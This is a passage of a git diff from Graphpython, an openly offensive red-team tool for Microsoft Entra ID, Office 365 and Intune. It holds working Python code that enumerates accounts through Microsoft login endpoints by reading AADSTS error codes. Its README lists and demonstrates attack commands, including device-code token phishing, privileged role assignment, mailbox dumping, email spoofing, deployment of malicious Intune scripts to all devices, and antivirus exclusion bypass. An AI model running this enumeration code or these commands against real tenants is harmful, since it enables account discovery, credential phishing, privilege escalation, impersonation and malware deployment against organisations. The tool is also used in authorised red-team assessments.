+ 'm': 'http://schemas.microsoft.com/exchange/services/2006/messages',
+ 't': 'http://schemas.microsoft.com/exchange/services/2006/types',
+ 'ns2': 'http://schemas.microsoft.com/exchange/2010/Autodiscover'
+ }
+
+ found_domains = [elem.text for elem in tree.findall('.//ns2:Domain', namespaces)]
+
+ if domain not in found_domains:
+ found_domains.append(domain)
+
+ domains = sorted(found_domains)
+
+ except Exception as e:
+ print(f"An unexpected error occurred: {e}")
+
+ return domains
+
+##############
+# NOT IN USE #
+##############
+def get_credential_type(username, flow_token=None, original_request=None):
+ body = {
+ "username": username,
+ "isOtherIdpSupported": True,
+ "checkPhones": True,
+ "isRemoteNGCSupported": False,
+ "isCookieBannerShown": False,
+ "isFidoSupported": False,
+ "originalRequest": original_request,
+ "flowToken": flow_token
+ }
+
+ if original_request:
+ body["isAccessPassSupported"] = True
+
+ try:
+ response = requests.post("https://login.microsoftonline.com/common/GetCredentialType",
+ json=body,
+ headers={"Content-Type": "application/json; charset=UTF-8"})
+ response.raise_for_status()
+ return response.json()
+ except requests.exceptions.RequestException as e:
+ print(f"Error in Get-CredentialType: {e}")
+ return None
+
+##############
+# NOT IN USE #
+##############
+def get_rst_token(url, endpoint_address, username, password="none"):
+ request_id = str(uuid.uuid4())
+ now = datetime.utcnow()
+ created = now.isoformat() + "Z"
+ expires = (now + timedelta(minutes=10)).isoformat() + "Z"
+
+ body = f"""
+
+
+
+ http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
+ {url}
+ urn:uuid:{str(uuid.uuid4())}
+
+
+ {created}
+ {expires}
+
+
+ {username}
+ {password}
+
+
+
+
+
+ http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
+
+
+ {endpoint_address}
+
+ http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey
+
+
+
+ """
+
+ try:
+ response = requests.post(url,
+ data=body,
+ headers={"Content-Type": "application/soap+xml; charset=UTF-8"},
+ timeout=10)
+ response.raise_for_status()
+ response_xml = response.content
+
+ if "urn:oasis:names:tc:SAML:1.0:assertion" in response_xml.decode():
+ return True
+ return False
+ except requests.exceptions.RequestException as e:
+ print(f"Error in Get-RSTToken: {e}")
+ return None
+
+##############
+# NOT IN USE #
+##############
+def does_user_exist(user, method="Normal"):
+ exists = False
+ error_details = ""
+
+ if method == "Normal":
+ cred_type = get_credential_type(user)
+ if cred_type:
+ if cred_type.get('ThrottleStatus') == 1:
+ print("Requests throttled!")
+ return None
+ exists = cred_type.get('IfExistsResult') in [0, 6]
+ else:
+ if method == "Login":
+ random_guid = str(uuid.uuid4())
+ body = {
+ "resource": random_guid,
+ "client_id": random_guid,
+ "grant_type": "password",
+ "username": user,
+ "password": "none",
+ "scope": "openid"
+ }
+ try:
+ response = requests.post("https://login.microsoftonline.com/common/oauth2/token",
+ data=body,
+ headers={"Content-Type": "application/x-www-form-urlencoded"})
+ response.raise_for_status()
+ exists = True
+ except requests.exceptions.RequestException as e:
+ error_details = e.response.json().get("error_description", "")
+
+ elif method in ["Autologon", "RST2"]:
+ request_id = str(uuid.uuid4())
+ domain = user.split("@")[1]
+ password = "none"
+ now = datetime.utcnow()
+ created = now.isoformat() + "Z"
+ expires = (now + timedelta(minutes=10)).isoformat() + "Z"
+
+ if method == "RST2":
+ url = "https://login.microsoftonline.com/RST2.srf"
+ end_point = "sharepoint.com"
+ else:
+ url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={request_id}"
+ end_point = "urn:federation:MicrosoftOnline"
+
+ try:
+ response = get_rst_token(url, end_point, user, password)
+ exists = response is not None
+ except Exception as e:
+ error_details = str(e)
+
+ if not exists and error_details:
+ if error_details.startswith("AADSTS50053"):
+ exists = True
+ elif error_details.startswith("AADSTS50126"):
+ exists = True
+ elif error_details.startswith("AADSTS50076"):
+ exists = True
+ elif error_details.startswith("AADSTS700016"):
+ exists = True
+ elif error_details.startswith("AADSTS50034"):
+ exists = False
+ elif error_details.startswith("AADSTS50059"):
+ exists = False
+ elif error_details.startswith("AADSTS81016"):
+ print("Got Invalid STS request. The tenant may not have DesktopSSO or Directory Sync enabled.")
+ return None
+ else:
+ return None
+
+ return exists
+
+# todo:
+# - add mfasweep functions
\ No newline at end of file
diff --git a/README.md b/README.md
index 2e2b224..59de136 100644
--- a/README.md
+++ b/README.md
@@ -4,462 +4,286 @@
-Graphpython is a modular Python tool for cross-platform Microsoft Graph API enumeration and exploitation. It builds upon the capabilities of AAD-Internals (Killchain.ps1), GraphRunner, and TokenTactics(V2) to provide a comprehensive solution for interacting with the Microsoft Graph API for red team and cloud assumed breach operations.
+Graphpython is a modular Python tool for cross-platform Microsoft Graph API enumeration and exploitation. It builds upon the capabilities of AADInternals (Killchain.ps1), GraphRunner, and TokenTactics(V2) to provide a comprehensive solution for interacting with the Microsoft Graph API for red team and cloud assumed breach operations.
-GraphPython covers external reconnaissance, authentication/token manipulation, enumeration, and post-exploitation of various Microsoft services, including Entra ID (Azure AD), Office 365 (Outlook, SharePoint, OneDrive, Teams), and Intune (Endpoint Management).
+Graphpython covers external reconnaissance, authentication/token manipulation, enumeration, and post-exploitation of various Microsoft services, including Entra ID (Azure AD), Office 365 (Outlook, SharePoint, OneDrive, Teams), and Intune (Endpoint Management).
## Index
-- [Install](#Install)
+- [Installation](#Installation)
- [Usage](#Usage)
- [Commands](#Commands)
- [Demos](#Demos)
- - [Invoke-ReconAsOutsider](#Invoke-ReconAsOutsider)
- - [Get-GraphTokens](#Get-GraphTokens)
- - [Invoke-ESTSCookieToAccessToken](#Invoke-ESTSCookieToAccessToken)
- - [Get-User](#Get-User)
- - [List-SharePointRoot](#List-SharePointRoot)
- - [Invite-GuestUser](#Invite-GuestUser)
- - [Assign-PrivilegedRole](#Assign-PrivilegedRole)
- - [Spoof-OWAEmailMessage](#Spoof-OWAEmailMessage)
- - [Get-DeviceConfigurationPolicies](#Get-DeviceConfigurationPolicies)
- - [Display-AVPolicyRules](#Display-AVPolicyRules)
- - [Get-ScriptContent](#Get-ScriptContent)
- - [Deploy-MaliciousScript](#Deploy-MaliciousScript)
- - [Add-ExclusionGroupToPolicy](#Add-ExclusionGroupToPolicy)
- - [Remove-GroupMember](#Remove-GroupMember)
-
-
-## Install
+
+## Installation
+
+Graphpython is designed to be cross-platform, ensuring compatibility with both Windows and Linux based operating systems:
```
git clone https://github.com/mlcsec/Graphpython.git
cd Graphpython
-pip3 install -r requirements.txt
+pip install .
+```
+```bash
+Graphpython -h
+# or
+python3 Graphpython.py -h
```
## Usage
-```
-usage: graphpython.py [-h] [--command COMMAND] [--list-commands] [--token TOKEN] [--estsauthcookie ESTSAUTHCOOKIE] [--use-cae] [--cert CERT] [--domain DOMAIN] [--tenant TENANT]
- [--username USERNAME] [--secret SECRET] [--id ID] [--select SELECT] [--query QUERY] [--search SEARCH] [--entity {driveItem,message,chatMessage,site,event}]
- [--device {mac,windows,androidmobile,iphone}] [--browser {android,IE,chrome,firefox,edge,safari}] [--only-return-cookies]
- [--mail-folder {allitems,inbox,archive,drafts,sentitems,deleteditems,recoverableitemsdeletions}] [--top TOP] [--script SCRIPT]
-
-options:
- -h, --help show this help message and exit
- --command COMMAND Command to execute
- --list-commands List available commands
- --token TOKEN Microsoft Graph access token or refresh token for FOCI abuse
- --estsauthcookie ESTSAUTHCOOKIE
- 'ESTSAuth' or 'ESTSAuthPersistent' cookie value
- --use-cae Flag to use Continuous Access Evaluation (CAE) - add 'cp1' as client claim to get an access token valid for 24 hours
- --cert CERT X509Certificate path (.pfx)
- --domain DOMAIN Target domain
- --tenant TENANT Target tenant ID
- --username USERNAME Username or file containing username (invoke-userenumerationasoutsider)
- --secret SECRET Enterprise application secretText (invoke-appsecrettoaccesstoken)
- --id ID ID of target object
- --select SELECT Fields to select from output
- --query QUERY Raw API query (GET only)
- --search SEARCH Search string
- --entity {driveItem,message,chatMessage,site,event}
- Search entity type: driveItem(OneDrive), message(Mail), chatMessage(Teams), site(SharePoint), event(Calenders)
- --device {mac,windows,androidmobile,iphone}
- Device type for User-Agent forging
- --browser {android,IE,chrome,firefox,edge,safari}
- Browser type for User-Agent forging
- --only-return-cookies
- Only return cookies from the request (open-owamailboxinbrowser)
- --mail-folder {allitems,inbox,archive,drafts,sentitems,deleteditems,recoverableitemsdeletions}
- Mail folder to dump (dump-owamailbox)
- --top TOP Number (int) of messages to retrieve (dump-owamailbox)
- --script SCRIPT File containing the script content (deploy-maliciousscript)
-
-examples:
- graphpython.py --command invoke-reconasoutsider --domain company.com
- graphpython.py --command invoke-userenumerationasoutsider --username
- graphpython.py --command get-graphtokens
- graphpython.py --command invoke-refreshtoazuremanagementtoken --tenant --token refresh-token
- graphpython.py --command get-users --token eyJ0... -- select displayname,id [--id ]
- graphpython.py --command list-recentonedrivefiles --token token
- graphpython.py --command invoke-search --search "credentials" --entity driveItem --token token
- graphpython.py --command invoke-customquery --query https://graph.microsoft.com/v1.0/sites/{siteId}/drives --token token
- graphpython.py --command assign-privilegedrole --token token
- graphpython.py --command spoof-owaemailmessage [--id ] --token token
- graphpython.py --command get-manageddevices --token intune-token
- graphpython.py --command deploy-maliciousscript --script malicious.ps1 --token token
- graphpython.py --command add-exclusiongrouptopolicy --id --token token
- graphpython.py --command reboot-device --id --token eyj0...
-```
+Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki/Usage) for more details
+
+
+
+
## Commands
-Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for the full user guide and details of available functionality. An overview of the commands is outlined below.
+Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki/Commands) for more details on the available commands
### Outsider
-* **Invoke-ReconAsOutsider** - Perform outsider recon of the target domain
-* **Invoke-UserEnumerationAsOutsider** - Checks whether the user exists within Azure AD
+- Invoke-ReconAsOutsider
+- Invoke-UserEnumerationAsOutsider
### Authentication
-* **Get-GraphTokens** - Obtain graph token via device code phish
-* **Get-TenantID** - Get tenant ID for target domain
-* **Get-TokenScope** - Get scope of supplied token
-* **Decode-AccessToken** - Get all token payload attributes
-* **Invoke-RefreshToMSGraphToken** - Convert refresh token to Microsoft Graph token
-* **Invoke-RefreshToAzureManagementToken** - Convert refresh token to Azure Management token
-* **Invoke-RefreshToVaultToken** - Convert refresh token to Azure Vault token
-* **Invoke-RefreshToMSTeamsToken** - Convert refresh token to MS Teams token
-* **Invoke-RefreshToOfficeAppsToken** - Convert refresh token to Office Apps token
-* **Invoke-RefreshToOfficeManagementToken** - Convert refresh token to Office Management token
-* **Invoke-RefreshToOutlookToken** - Convert refresh token to Outlook token
-* **Invoke-RefreshToSubstrateToken** - Convert refresh token to Substrate token
-* **Invoke-RefreshToYammerToken** - Convert refresh token to Yammer token
-* **Invoke-RefreshToIntuneEnrollmentToken** - Convert refresh token to Intune Enrollment token
-* **Invoke-RefreshToOneDriveToken** - Convert refresh token to OneDrive token
-* **Invoke-RefreshToSharePointToken** - Convert refresh token to SharePoint token
-* **Invoke-CertToAccessToken** - Convert Azure Application certificate to JWT access token
-* **Invoke-ESTSCookieToAccessToken** - Convert ESTS cookie to MS Graph access token
-* **Invoke-AppSecretToAccessToken** - Convert Azure Application secretText credentials to access token
+- Get-GraphTokens
+- Get-TenantID
+- Get-TokenScope
+- Decode-AccessToken
+- Invoke-RefreshToMSGraphToken
+- Invoke-RefreshToAzureManagementToken
+- Invoke-RefreshToVaultToken
+- Invoke-RefreshToMSTeamsToken
+- Invoke-RefreshToOfficeAppsToken
+- Invoke-RefreshToOfficeManagementToken
+- Invoke-RefreshToOutlookToken
+- Invoke-RefreshToSubstrateToken
+- Invoke-RefreshToYammerToken
+- Invoke-RefreshToIntuneEnrollmentToken
+- Invoke-RefreshToOneDriveToken
+- Invoke-RefreshToSharePointToken
+- Invoke-CertToAccessToken
+- Invoke-ESTSCookieToAccessToken
+- Invoke-AppSecretToAccessToken
+- New-SignedJWT
### Post-Auth Enumeration
-* **Get-CurrentUser** - Get current user profile
-* **Get-CurrentUserActivity** - Get recent activity and actions of current user
-* **Get-OrgInfo** - Get information relating to the target organization
-* **Get-Domains** - Get domain objects
-* **Get-User** - Get all users (default) or target user (--id)
-* **Get-UserProperties** - Get current user properties (default) or target user (--id)
-* **Get-UserGroupMembership** - Get group memberships for current user (default) or target user (--id)
-* **Get-UserTransitiveGroupMembership** - Get transitive group memberships for current user (default) or target user (--id)
-* **Get-Group** - Get all groups (default) or target group (-id)
-* **Get-GroupMember** - Get all members of target group
-* **Get-AppRoleAssignments** - Get application role assignments for current user (default) or target user (--id)
-* **Get-ConditionalAccessPolicy** - Get conditional access policy properties
-* **Get-PersonalContacts** - Get contacts of the current user
-* **Get-CrossTenantAccessPolicy** - Get cross tenant access policy properties
-* **Get-PartnerCrossTenantAccessPolicy** - Get partner cross tenant access policy
-* **Get-UserChatMessages** - Get ALL messages from all chats for target user (Chat.Read.All)
-* **Get-AdministrativeUnitMember** - Get members of administrative unit
-* **Get-OneDriveFiles** - Get all accessible OneDrive files for current user (default) or target user (--id)
-* **Get-UserPermissionGrants** - Get permissions grants of current user (default) or target user (--id)
-* **Get-oauth2PermissionGrants** - Get oauth2 permission grants for current user (default) or target user (--id)
-* **Get-Messages** - Get all messages in signed-in user's mailbox (default) or target user (--id)
-* **Get-TemporaryAccessPassword** - Get TAP details for current user (default) or target user (--id)
-* **Get-Password** - Get passwords registered to current user (default) or target user (--id)
-* **List-AuthMethods** - List authentication methods for current user (default) or target user (--id)
-* **List-DirectoryRoles** - List all directory roles activated in the tenant
-* **List-Notebooks** - List current user notebooks (default) or target user (--id)
-* **List-ConditionalAccessPolicies** - List conditional access policy objects
-* **List-ConditionalAuthenticationContexts** - List conditional access authentication context
-* **List-ConditionalNamedLocations** - List conditional access named locations
-* **List-SharePointRoot** - List root SharePoint site properties
-* **List-SharePointSites** - List any available SharePoint sites
-* **List-SharePointURLs** - List SharePoint site web URLs visible to current user
-* **List-ExternalConnections** - List external connections
-* **List-Applications** - List all Azure Applications
-* **List-ServicePrincipals** - List all service principals
-* **List-Tenants** - List tenants
-* **List-JoinedTeams** - List joined teams for current user (default) or target user (--id)
-* **List-Chats** - List chats for current user (default) or target user (--id)
-* **List-ChatMessages** - List messages in target chat (--id)
-* **List-Devices** - List devices
-* **List-AdministrativeUnits** - List administrative units
-* **List-OneDrives** - List current user OneDrive (default) or target user (--id)
-* **List-RecentOneDriveFiles** - List current user recent OneDrive files
-* **List-SharedOneDriveFiles** - List OneDrive files shared with the current user
-* **List-OneDriveURLs** - List OneDrive web URLs visible to current user
+- Get-CurrentUser
+- Get-CurrentUserActivity
+- Get-OrgInfo
+- Get-Domains
+- Get-User
+- Get-UserProperties
+- Get-UserGroupMembership
+- Get-UserTransitiveGroupMembership
+- Get-Group
+- Get-GroupMember
+- Get-AppRoleAssignments
+- Get-ConditionalAccessPolicy
+- Get-Application
+- Get-AppServicePrincipal
+- Get-ServicePrincipal
+- Get-ServicePrincipalAppRoleAssignments
+- Get-PersonalContacts
+- Get-CrossTenantAccessPolicy
+- Get-PartnerCrossTenantAccessPolicy
+- Get-UserChatMessages
+- Get-AdministrativeUnitMember
+- Get-OneDriveFiles
+- Get-UserPermissionGrants
+- Get-oauth2PermissionGrants
+- Get-Messages
+- Get-TemporaryAccessPassword
+- Get-Password
+- List-AuthMethods
+- List-DirectoryRoles
+- List-Notebooks
+- List-ConditionalAccessPolicies
+- List-ConditionalAuthenticationContexts
+- List-ConditionalNamedLocations
+- List-SharePointRoot
+- List-SharePointSites
+- List-SharePointURLs
+- List-ExternalConnections
+- List-Applications
+- List-ServicePrincipals
+- List-Tenants
+- List-JoinedTeams
+- List-Chats
+- List-ChatMessages
+- List-Devices
+- List-AdministrativeUnits
+- List-OneDrives
+- List-RecentOneDriveFiles
+- List-SharedOneDriveFiles
+- List-OneDriveURLs
### Post-Auth Exploitation
-* **Invoke-CustomQuery** - Custom GET query to target Graph API endpoint
-* **Invoke-Search** - Search for string within entity type (driveItem, message, chatMessage, site, event)
-* **Find-PrivilegedRoleUsers** - Find users with privileged roles assigned
-* **Find-UpdatableGroups** - Find groups which can be updated by the current user
-* **Find-SecurityGroups** - Find security groups and group members
-* **Find-DynamicGroups** - Find groups with dynamic membership rules
-* **Find-Object** - Find object via ID and display object properties
-* **Update-UserPassword** - Update the passwordProfile of the target user (NewUserS3cret@Pass!)
-* **Add-ApplicationPassword** - Add client secret to target application
-* **Add-ApplicationPermission** - Add permission to target application (application/delegated)
-* **Add-UserTAP** - Add new Temporary Access Password (TAP) to target user
-* **Add-GroupMember** - Add member to target group
-* **Create-Application** - Create new enterprise application with default settings
-* **Create-NewUser** - Create new Entra ID user
-* **Invite-GuestUser** - Invite guest user to Entra ID
-* **Assign-PrivilegedRole** - Assign chosen privileged role to user/group/object
-* **Open-OWAMailboxInBrowser** - Open an OWA Office 365 mailbox in BurpSuite's embedded Chromium browser using either a Substrate.Office.com or Outlook.Office.com access token
-* **Dump-OWAMailbox** - Dump OWA Office 365 mailbox
-* **Spoof-OWAEmailMessage** - Send email from current user's Outlook mailbox or spoof another user (--id) (Mail.Send)
+- Invoke-CustomQuery
+- Invoke-Search
+- Find-PrivilegedRoleUsers
+- Find-PrivilegedApplications
+- Find-UpdatableGroups
+- Find-SecurityGroups
+- Find-DynamicGroups
+- Update-UserPassword
+- Update-UserProperties
+- Add-UserTAP
+- Add-GroupMember
+- Add-ApplicationPassword
+- Add-ApplicationCertificate
+- Add-ApplicationPermission
+- Grant-AppAdminConsent
+- Create-Application
+- Create-NewUser
+- Invite-GuestUser
+- Assign-PrivilegedRole
+- Open-OWAMailboxInBrowser
+- Dump-OWAMailbox
+- Spoof-OWAEmailMessage
### Post-Auth Intune Enumeration
-* **Get-ManagedDevices** - Get managed devices
-* **Get-UserDevices** - Get user devices
-* **Get-CAPs** - Get conditional access policies
-* **Get-DeviceCategories** - Get device categories
-* **Get-DeviceComplianceSummary** - Get device compliance summary
-* **Get-DeviceConfigurations** - Get device configurations
-* **Get-DeviceConfigurationPolicies** - Get device configuration policies and assignment details (av, asr, diskenc, etc.)
-* **Get-DeviceConfigurationPolicySettings** - Get device configuration policy settings
-* **Get-DeviceEnrollmentConfigurations** - Get device enrollment configurations
-* **Get-DeviceGroupPolicyConfigurations** - Get device group policy configurations and assignment details
-* **Get-DeviceGroupPolicyDefinition** - Get device group policy definition
-* **Get-RoleDefinitions** - Get role definitions
-* **Get-RoleAssignments** - Get role assignments
+- Get-ManagedDevices
+- Get-UserDevices
+- Get-CAPs
+- Get-DeviceCategories
+- Get-DeviceComplianceSummary
+- Get-DeviceConfigurations
+- Get-DeviceConfigurationPolicySettings
+- Get-DeviceEnrollmentConfigurations
+- Get-DeviceGroupPolicyConfigurations
+- Get-DeviceGroupPolicyDefinition
+- Get-RoleDefinitions
+- Get-RoleAssignments
+- Get-DeviceCompliancePolicies
+- Get-DeviceConfigurationPolicies
### Post-Auth Intune Exploitation
-* **Dump-DeviceManagementScripts** - Dump device management PowerShell scripts
-* **Get-ScriptContent** - Get device management script content
-* **Deploy-MaliciousScript** - Deploy new malicious device management PowerShell script (all devices)
-* **Display-AVPolicyRules** - Display antivirus policy rules
-* **Display-ASRPolicyRules** - Display Attack Surface Reduction (ASR) policy rules
-* **Display-DiskEncryptionPolicyRules** - Display disk encryption policy rules
-* **Display-FirewallPolicyRules** - Display firewall policy rules
-* **Display-EDRPolicyRules** - Display EDR policy rules
-* **Display-LAPSAccountProtectionPolicyRules** - Display LAPS account protection policy rules
-* **Display-UserGroupAccountProtectionPolicyRules** - Display user group account protection policy rules
-* **Get-DeviceCompliancePolicies** - Get device compliance policies
-* **Add-ExclusionGroupToPolicy** - Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device
-* **Reboot-Device** - Reboot managed device
-* **Retire-Device** - Retire managed device
-* **Lock-Device** - Lock managed device
-* **Shutdown-Device** - Shutdown managed device
+- Dump-DeviceManagementScripts
+- Dump-WindowsApps
+- Dump-iOSApps
+- Dump-macOSApps
+- Dump-AndroidApps
+- Get-ScriptContent
+- Backdoor-Script
+- Deploy-MaliciousScript
+- Deploy-MaliciousWebLink
+- Display-AVPolicyRules
+- Display-ASRPolicyRules
+- Display-DiskEncryptionPolicyRules
+- Display-FirewallConfigPolicyRules
+- Display-FirewallRulePolicyRules
+- Display-EDRPolicyRules
+- Display-LAPSAccountProtectionPolicyRules
+- Display-UserGroupAccountProtectionPolicyRules
+- Add-ExclusionGroupToPolicy
+- Reboot-Device
+- Lock-Device
+- Shutdown-Device
+- Update-DeviceConfig
### Cleanup
-* **Delete-User** - Delete a user
-* **Delete-Group** - Delete a group
-* **Remove-GroupMember** - Remove user from a group
-* **Delete-Application** - Delete an application
-* **Delete-Device** - Delete managed device
-* **Wipe-Device** - Wipe managed device
-
-
-
-# Demos
-
-## Invoke-ReconAsOutsider
-
-#### Example:
-```
-# graphpython.py --command invoke-reconasoutsider --domain company.com
-```
-#### Output:
-```
-[*] Invoke-ReconAsOutsider
-================================================================================
-Domains: 2
-Tenant brand: Company Ltd
-Tenant name: company
-Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
-Tenant region: EU
-DesktopSSO enabled: False
-MDI instance: Not found
-Uses cloud sync: False
-
-Name DNS MX SPF DMARC DKIM MTA-STS Type STS
----- --- --- ---- ----- ---- ------- ---- ---
-company.com False False False False False False Federated sts.company.com
-company.onmicrosoft.com True True True False True False Managed
-================================================================================
-```
-
-## Get-GraphTokens
-
-
-
-## Invoke-ESTSCookieToAccessToken
+- Delete-User
+- Delete-Group
+- Remove-GroupMember
+- Delete-Application
+- Delete-Device
+- Wipe-Device
+- Retire-Device
-
+### Locators
-## Get-User
+- Locate-ObjectID
+- Locate-PermissionID
+- Locate-DirectoryRole
-
-
-## List-SharePointRoot
-
-
-
-## Invite-GuestUser
-
-
-
-
-## Assign-PrivilegedRole
-
-
-
-## Spoof-OWAEmailMessage
-
-> Mail.Send permission REQUIRED
-
-Options:
-1. Compromise an application with Mail.Send permission assigned then use `Spoof-OWAEmailMessage`
-2. Comprise user with Global Admin, Application Admin, Cloud Admin role or assign role to an existing owned user with `Assign-PrivilegedRole` -> then add password and Mail.Send permission to app -> auth as app service principal and use `Spoof-OWAEmailMessage`
-
-#### Example:
-```
-# graphpython.py --command spoof-owaemailmessage --token .\token --id useremail.tospoof@company.com
-```
-#### Output:
-```
-[*] Spoof-OWAEmailMessage
-================================================================================
-
-Enter Subject: Spoofed subject
-Enter Body Content: Spoofed message content
-Enter toRecipients (comma-separated): target.user@company.com
-Enter ccRecipients (comma-separated): cc.user@company.com
-Save To Sent Items (true/false): false
-
-[+] Email sent successfully
-================================================================================
-```
-
-## Get-DeviceConfigurationPolicies
-#### Example:
-```
-# graphpython.py --command get-deviceconfigurationpolicies --token .\intune --select name,id,templateReference
-```
-#### Output:
-```
-[*] Get-DeviceConfigurationPolicies
-================================================================================
-id : de62414d-3a2f-4fcf-abdd-d9e1a56c034e
-name : ASR - Default Profile
-templateReference : {'templateId': 'e8c053d6-9f95-42b1-a7f1-ebfd71c67a4b_1', 'templateFamily': 'endpointSecurityAttackSurfaceReduction', 'templateDisplayName': 'Attack Surface Reduction Rules', 'templateDisplayVersion': 'Version 1'}
-assignmentTarget : {'@odata.type': '#microsoft.graph.allDevicesAssignmentTarget', 'deviceAndAppManagementAssignmentFilterId': None, 'deviceAndAppManagementAssignmentFilterType': 'none'}
-
-id : 2d555a7f-eefd-41f8-8429-a2a1c7532b49
-name : Bitlocker - profile
-templateReference : {'templateId': '46ddfc50-d10f-4867-b852-9434254b3bff_1', 'templateFamily': 'endpointSecurityDiskEncryption', 'templateDisplayName': 'BitLocker', 'templateDisplayVersion': 'Version 1'}
-assignmentTarget : {'@odata.type': '#microsoft.graph.allDevicesAssignmentTarget', 'deviceAndAppManagementAssignmentFilterId': None, 'deviceAndAppManagementAssignmentFilterType': 'none'}
-
-
-id : b1076055-6074-4176-a561-08590c1793b0
-name : Defender - Policy
-templateReference : {'templateId': '804339ad-1553-4478-a742-138fb5807418_1', 'templateFamily': 'endpointSecurityAntivirus', 'templateDisplayName': 'Microsoft Defender Antivirus', 'templateDisplayVersion': 'Version 1'}
-assignmentTarget : {'@odata.type': '#microsoft.graph.allDevicesAssignmentTarget', 'deviceAndAppManagementAssignmentFilterId': None, 'deviceAndAppManagementAssignmentFilterType': 'none'}
-================================================================================
-```
-
-## Display-AVPolicyRules
-
-> NOTE the `templateDisplayName` output in `Get-DeviceConfigurationPolicies` for use with Display-AVPolicyRules, Display-ASR...
-
-
-
-
-## Get-ScriptContent
-
-
-
-
-## Deploy-MaliciousScript
-#### Example:
-```
-# graphpython.py --command deploy-maliciousscript --token .\intune --script malicious.ps1
-```
-#### Output:
-```
-[*] Deploy-MaliciousScript
-================================================================================
-
-Enter Script Display Name: Config script
-Enter Script Description: Device config update
-
-[+] Script created successfully
-Script ID: b024deb4-e48b-42e0-b9ac-625e2bb41042
-
-[+] Script assigned to all devices
-================================================================================
-```
-
-## Add-ExclusionGroupToPolicy
-#### Example:
-```
-# graphpython.py --command display-avpolicyrules --id 0b98128f-d1ac-4a5a-9add-303d27ad5616 --token .\intune
-
-[*] Display-AVPolicyRules
-================================================================================
-Excluded extensions : .ps1
-Excluded paths : C:\programdata
-Excluded processes : C:\WINDOWS\Explorer.EXE
-================================================================================
-```
-Add an exclusion group to the Microsoft Defender Antivirus exclusions policy above:
-```
-# graphpython.py --command add-exclusiongrouptopolicy --id 0b98128f-d1ac-4a5a-9add-303d27ad5616 --token .\intune
-
-[*] Add-ExclusionGroupToPolicy
-================================================================================
-
-Enter Group ID To Exclude: 46a6f18e-e243-492d-ae24-f5f301dd49bb
-
-[+] Excluded group added to policy rules
-================================================================================
-```
-#### Output:
-
-Verify the changes have been applied:
-```
-# graphpython.py --command get-deviceconfigurationpolicies --token .\intune --select id,name
-
-[*] Get-DeviceConfigurationPolicies
-================================================================================
-id : 0b98128f-d1ac-4a5a-9add-303d27ad5616
-name : Defender Exclusions - Policy
-assignmentTarget : {'@odata.type': '#microsoft.graph.exclusionGroupAssignmentTarget', 'deviceAndAppManagementAssignmentFilterId': None, 'deviceAndAppManagementAssignmentFilterType': 'none', 'groupId': '46a6f18e-e243-492d-ae24-f5f301dd49bb'}
-assignmentTarget : {'@odata.type': '#microsoft.graph.allDevicesAssignmentTarget', 'deviceAndAppManagementAssignmentFilterId': None, 'deviceAndAppManagementAssignmentFilterType': 'none'}
-```
-Note that assignmentTarget contains `exclusionGroupAssignmentTarget` and the supplied `'groupId': '46a6f18e-e243-492d-ae24-f5f301dd49bb'`
-
-
-## Remove-GroupMember
-
-Check the members of the target group:
-
-
-
-Remove the group member by first supplying the groupid and object id to the --id flag:
-
-
-
-Confirm that the object has been removed from the group:
+
-
+# Demos
+Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki/Demos) for the following demos
+
+- [Outsider](https://github.com/mlcsec/Graphpython/wiki/Demos#outsider)
+ - [Invoke-ReconAsOutsider](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-reconasoutsider)
+ - [Invoke-UserEnumerationAsOutsider](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-userenumerationasoutsider)
+- [Authentication](https://github.com/mlcsec/Graphpython/wiki/Demos#authentication)
+ - [Get-GraphTokens](https://github.com/mlcsec/Graphpython/wiki/Demos#get-graphtokens)
+ - [Get-TenantID](https://github.com/mlcsec/Graphpython/wiki/Demos#get-tenantid)
+ - [Invoke-RefreshToAzureManagementToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-refreshtoazuremanagementtoken)
+ - [Invoke-RefreshToMSGraphToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-refreshtomsgraphtoken)
+ - [Invoke-CertToAccessToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-certtoaccesstoken)
+ - [Invoke-ESTSCookieToAccessToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-estscookietoaccesstoken)
+- [Post-Auth Enumeration](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-enumeration)
+ - [Get-CurrentUser](https://github.com/mlcsec/Graphpython/wiki/Demos#get-currentuser)
+ - [Get-User](https://github.com/mlcsec/Graphpython/wiki/Demos#get-user)
+ - [Get-Group](https://github.com/mlcsec/Graphpython/wiki/Demos#get-group)
+ - [Get-UserPrivileges](https://github.com/mlcsec/Graphpython/wiki/Demos#get-userprivileges)
+ - [Get-Domains](https://github.com/mlcsec/Graphpython/wiki/Demos#get-domains)
+ - [Get-Application](https://github.com/mlcsec/Graphpython/wiki/Demos#get-application)
+ - [List-RecentOneDriveFiles](https://github.com/mlcsec/Graphpython/wiki/Demos#list-recentonedrivefiles)
+- [Post-Auth Exploitation](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-exploitation)
+ - [Invite-GuestUser](https://github.com/mlcsec/Graphpython/wiki/Demos#invite-guestuser)
+ - [Find-PrivilegedRoleUsers](https://github.com/mlcsec/Graphpython/wiki/Demos#find-privilegedroleusers)
+ - [Assign-PrivilegedRole](https://github.com/mlcsec/Graphpython/wiki/Demos#assign-privilegedrole)
+ - [Find-PrivilegedApplications](https://github.com/mlcsec/Graphpython/wiki/Demos#find-privilegedapplications)
+ - [Add-ApplicationCertificate](https://github.com/mlcsec/Graphpython/wiki/Demos#add-applicationcertificate)
+ - [Add-ApplicationPermission](https://github.com/mlcsec/Graphpython/wiki/Demos#add-applicationpermission)
+ - [Spoof-OWAEmailMessage](https://github.com/mlcsec/Graphpython/wiki/Demos#spoof-owaemailmessage)
+ - [Find-DynamicGroups](https://github.com/mlcsec/Graphpython/wiki/Demos#find-dynamicgroups)
